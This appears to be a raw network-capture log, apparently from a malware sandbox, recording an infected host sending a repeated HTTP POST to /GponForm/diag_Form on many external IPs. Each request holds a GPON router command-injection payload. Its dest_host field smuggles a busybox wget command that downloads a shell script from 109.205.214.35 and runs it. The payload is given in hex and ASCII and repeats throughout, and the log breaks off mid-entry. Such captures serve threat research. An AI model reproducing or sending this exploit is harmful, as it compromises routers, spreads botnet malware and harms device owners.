Mar 21, 2024 05:23:33.825611115 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1909	192.168.2.13	57022	118.133.106.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825664997 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1910	192.168.2.13	36112	109.37.182.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825691938 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1911	192.168.2.13	53984	118.141.230.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825695038 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1912	192.168.2.13	59212	5.49.122.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825726986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1913	192.168.2.13	39732	5.151.178.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825727940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1914	192.168.2.13	33134	42.67.24.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825807095 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1915	192.168.2.13	51272	5.62.123.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825814962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1916	192.168.2.13	46378	118.167.151.204	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825845003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1917	192.168.2.13	52174	109.223.134.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825925112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1918	192.168.2.13	43254	5.35.185.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825927973 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1919	192.168.2.13	39270	118.100.2.155	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825927973 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1920	192.168.2.13	34718	5.254.49.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825953960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1921	192.168.2.13	60444	42.224.6.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825975895 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1922	192.168.2.13	60868	109.180.215.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.825985909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1923	192.168.2.13	51572	5.179.83.138	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.826024055 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1924	192.168.2.13	41766	212.246.190.45	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.826057911 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1925	192.168.2.13	52378	42.211.237.103	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.826066017 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1926	192.168.2.13	49414	109.86.5.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.826082945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1927	192.168.2.13	40608	212.227.233.2	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.826096058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1928	192.168.2.13	41004	42.217.207.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.826107025 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1929	192.168.2.13	37896	118.248.33.59	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.826689959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1930	192.168.2.13	35734	42.99.97.246	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.826711893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1931	192.168.2.13	51006	42.211.165.241	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.826721907 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1932	192.168.2.13	42850	118.230.171.107	443

Timestamp	Bytes transferred	Direction	Data
